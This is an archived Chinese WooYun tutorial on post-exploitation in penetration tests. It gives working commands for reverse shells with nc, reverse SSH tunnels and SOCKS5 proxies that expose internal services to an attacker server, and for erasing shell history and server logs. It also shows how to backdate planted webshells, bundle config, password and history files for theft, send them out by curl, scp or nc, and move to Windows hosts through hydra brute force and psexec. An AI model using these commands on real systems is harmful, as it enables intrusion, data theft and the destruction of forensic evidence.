# 各种环境下的渗透测试

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2013-08-06T11:18:00Z
Canonical: https://wepostx.com/topics/889

> 乌云历史资料归档
>
> **原始作者：** insight-labs
> **原始编号：** superkieran-wooyundrops:63
> **原始发布时间：** 2013-08-06 19:18
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

### getshell:

找到切入点后，首先是要弹个shell，一般我用[back.py](http://static.wooyun.org/20141017/2014101711593519930.zip)
配合nc使用，nc监听端口就不说了。
back.py会自动去掉各种history记录，确保shell断掉的时候不会被记录到bash_history里面

### ssh各种姿势

反弹内网端口：
ssh有几个比较重要的参数：

```text
-f: 连接成功后切换到后台，不会占用当前的shell，shell断了也会继续执行，相当于 nohup和&。 -N: 连接后不调用shell，用处后面讲。 -R:把本地网络(可以是本机或者任何内网甚至外网端口)端口反弹到ssh服务器
```
用法：
首先你要有个外网ip的ssh服务器，如果目标内网限制了访问端口，可以开到常见端口比如80或者443上面，可以直接改设置或者iptables映射一下。你需要有这个服务器的root权限。在sshd_config里面打开端口转发, AllowTcpForwarding yes 还有 Gateway Ports,如果之前没开的话改完需要重启一下sshd。
另外就是因为反弹端口需要让目标机器登录到你的ssh服务器，为了安全起见需要建立一个专门用来端口转发的用户，useradd随便建个用户，设置密码然后到/etc/passwd里面，把最后一个':'后面的shell位置改成/sbin/nologin或者/bin/false，这样即使对方记录了你的ssh密码也没法对你转发的服务器做什么(比如取证之类)
-N的作用：
因为转发用的用户没有shell，如果没有-N的话会因为得不到shell而自动断开连接，-N可以避免这一点。
开始转发：

```text
ssh -fNR 要反弹到的端口:目标本机或者内外ip:要反弹的目标端口 [email protected] 执行后会问你转发用户名的密码，输入成功后会自动切换到后台
```
例子1：
本地转发： 目标机器上有个oracle端口在1521，但是只能从内网访问。提权提不上，没装sqlplus等工具，webshell数据库管理各种出错，不过翻到了登录用户名和密码。不过我自己的机器上装了个navicat for oracle⋯⋯ ssh服务器上的端口转发用户名叫forward，服务器ip是123.123.123.123

```text
ssh -fNR 11521:127.0.0.1:1521 [email protected]
```
注意：之所以开到11521端口是因为<1024的端口需要root权限才能占用，另外注意你反弹到服务器的端口不能被iptables之类的挡住，不然你没法从外网访问(废话么)
反弹成功后，打开navicat，新建个连接，ip输入123.123.123.123，端口输入11521,然后用户名和密码，啪啪啪⋯⋯连上了
例子2:
内网ip转发： 除了能转发localhost，还能转发内网其他ip的端口，甚至在不同网段都行，只要能从内网的已沦陷机器访问到就行。比如内网有个windows服务器，ip 192.168.5.10, 开了3389端口，不过也只能在内网访问⋯⋯

```text
ssh -fNR 13389:192.168.5.10:3389 [email protected]
```
反弹成功后mstsc连123.123.123.123:13389即可⋯⋯
ssh转发端口是可以多开的，就是要注意转发到你服务器的端口不要重了。
用完之后记得关掉:

```text
ps aux|grep ssh
```
在进程里可以看到ssh的转发命令，把pid kill了就行。另外也可以在ssh服务器端kill，

```text
netstat -anp|grep sshd
```
ssh的时候会记录known_hosts，所以最后擦屁股的时候记得到开ssh的用户名的home文件夹 .ssh里面把known_hosts清掉
ssh反弹socks5方法
如果用ssh自带的socks5服务器的话，需要一个能在本地登录的帐号，可以是nologin的，但是必须要能登录，如果不是root的话，socks端口只能开到>1024的端口。原理是先在本地开socks5，然后把本地socks5服务器的端口弹到远程服务器。
姿势：

```text
ssh -fND 127.0.0.1:8080 [email protected]
```
这样会在本地8080端口开socks5代理，然后反弹

```text
ssh -fNR 18080:127.0.0.1:8080 [email protected]
```
这样可以把socks5代理弹到123.123.123.123的18080端口，可以用proxychains和其他支持socks5代理的工具最大限度的窥探内网

### Linux下隐藏痕迹

通过其他方式得到shell的话，需要去掉histfile等环境变量：

```text
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
```
登录ssh后管理员用w查看当前登录用户，所以有必要隐藏，推荐xi4oyu的logtamper
清除日志里指定内容：
日志必须是文本格式，而且你有权限读写⋯⋯

```text
awk '!/pattern/' filename > temp && mv temp filename
```
这个原理说白了就是去掉原文件里的指定内容然后生成新文件，再用新的覆盖旧的，弄完记得用chmod还原原来的属性. 例子：

```text
awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
```
去掉所有包含123.123.123.123的日志记录。 可以匹配多个关键词:

```text
awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
```
修改文件访问|创建|修改时间:

```text
touch -amt 200901231532 文件名
```
改成2009年1月23号15点32分
批量修改时间：
比如你在一个文件夹改了很多php插了一堆一句话:

```text
ls|xargs touch -amt 200901231532
```
把当前目录所有文件时间都改了
信息搜集：

```text
find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*$|.*secret$" -print|zip pack.zip -@
```
打包各种脚本和配置文件还有history日志。 有的环境下zip需要一些参数才能用，请自行修改
在/var/www搜集全部 conf.php然后打包

```text
find /var/www -name '*conf*.php' -print | zip config.zip -@
```
找包含特定内容的文件并且那一行显示出来：

```text
grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR
```
比如在web目录找包含password这个词的所有php

```text
grep -RPa --include=*.php 'password' /var/www
```
pattern可以用正则，可以不指定文件类型(很慢⋯⋯)

### 文件传送：

找到需要的东西后，怎么往外发也是个问题，一般大文件用ftp，scp,小文件用nc。
ftp方法：
如果目标装了curl的话就很简单了

```text
curl -v -T 文件名 ftp://username: [email protected]
```
scp方法:
适合有ids之类东西的地方，可以把sshd开到443等传统加密流量的接口，scp帐号需要有写入和执行shell的权限

```text
scp backup.tgz [email protected] :/tmp/backup.tgz
```
nc方法:
先在服务端监听

```text
nc -l port > 文件名
```
然后到要发送文件的服务器

```text
nc 服务端ip 端口 < 文件名
```
发送小文件还行，大文件有时候会断。

### 从linux到windows

有些时候你拿了linux服务器的shell，想跨到windows的机器上，基本就是通过两个手段，一个是针对windows的服务进行exploit溢出，还有就是利用在linux上搜集的用户名和密码然后通过psexec放shell。
首先要确定windows主机的位置和打开的服务，在内网扫开445和3389的机器，基本是windows了，扫的时候要注意，不管用什么工具，尽量用socket connect的方式扫。像SYN 方式扫描如果内网有ids之类肯定会被发现，connect方式扫描相对来说和正常连接差不多。 扫到windows机器列表后，准备好刚才在linux下收集的各种用户名和密码，还有一些常见的弱密码，生成密码字典和用户名字典，字典里再加上一些windows本身的用户名，比如administrator。 尝试密码的话直接在linux下用hydra，破解smb密码，运气好的话，只要扫出一个，就能用psexec getshell了。运气不好就剩下溢出这一条路了。如果溢出都不行，windows主机和linux在同一个网段的话，还可以试试通过arp spoof抓smb认证包，然后把hash弄出来破解或者注入hash，但是动静会比较大，不到最后不建议使用。
psexec：
有几种选择，metasploit里面auxiliary里面的psexec模块，可以直接放个msf的reverse paylaod上去。另外可以把windows的服务器的445端口反弹出来，再找个windows的机器用psexec。还有就是直接在内网的linux机器上用python的psexec，[https://code.google.com/p/impacket/](https://code.google.com/p/impacket/)

## Replies
